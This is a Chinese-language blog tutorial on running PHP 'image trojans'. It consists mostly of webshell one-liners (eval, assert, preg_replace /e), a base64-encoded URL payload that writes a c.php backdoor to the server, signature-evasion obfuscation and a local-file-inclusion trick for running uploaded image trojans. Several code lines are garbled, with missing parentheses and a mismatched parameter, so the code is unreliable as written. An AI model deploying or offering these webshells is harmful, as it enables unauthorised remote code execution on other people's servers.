php图片木马怎么运行

1、标准的写法,直接通过eval执行php代码


@eval $_POST['code']);

2、动态执行assert生成一个木马文件隐藏性最好的一种)


@$_GET['a']$_GET['code']);

3、使用方法:从url中传入下面参数执行后会在当前目录生成一个c.php的文件


/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,
base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

a参数为eval时会报错因为eval不是函数)木马生成失败，为assert时同样报错，但会生成木马。

4、使用preg_replace执行代码里面前面只要用一个的任意字符串就可以,如果不一样的话命令可能会被执行多次)


@preg_replace"/re/e", $_POST['code'], "re");

5、把特征码打散


session_start);
$_POST['code'] && $_SESSION['theCode'] = trim$_POST['code']);
$_SESSION['theCode']&&preg_replace'\'a\'eis','e'.'v'.'a'.'l'.'base64_decode$_SESSION[\'theCode\']))','a');

6、重命名任意文件


$reg="c"."o"."p"."y";
$reg$_FILES['filename']['tmp_name'],$_FILES['filename']['name']);

include的漏洞使用方法

有时候我们会上传一些图片木马但是却不能执行,这个时候如果有一个include的漏洞,那么图片木马就可以执行啦。

如果php代码里有一个include$_GET['controller']) 且还有一个url路径为：/index.php?controller=user，这个看起来就是一个根据参数包含执行对应控制器的代码，但是如果url路径里的参数改成这样：/index.php?uid=/upload/images/muma.jpg，这个时候木马就执行啦。

以上内容仅供参考！

推荐教程：PHP视频教程

以上就是php图片木马怎么运行的详细内容，更多请关注风君子博客其它相关文章！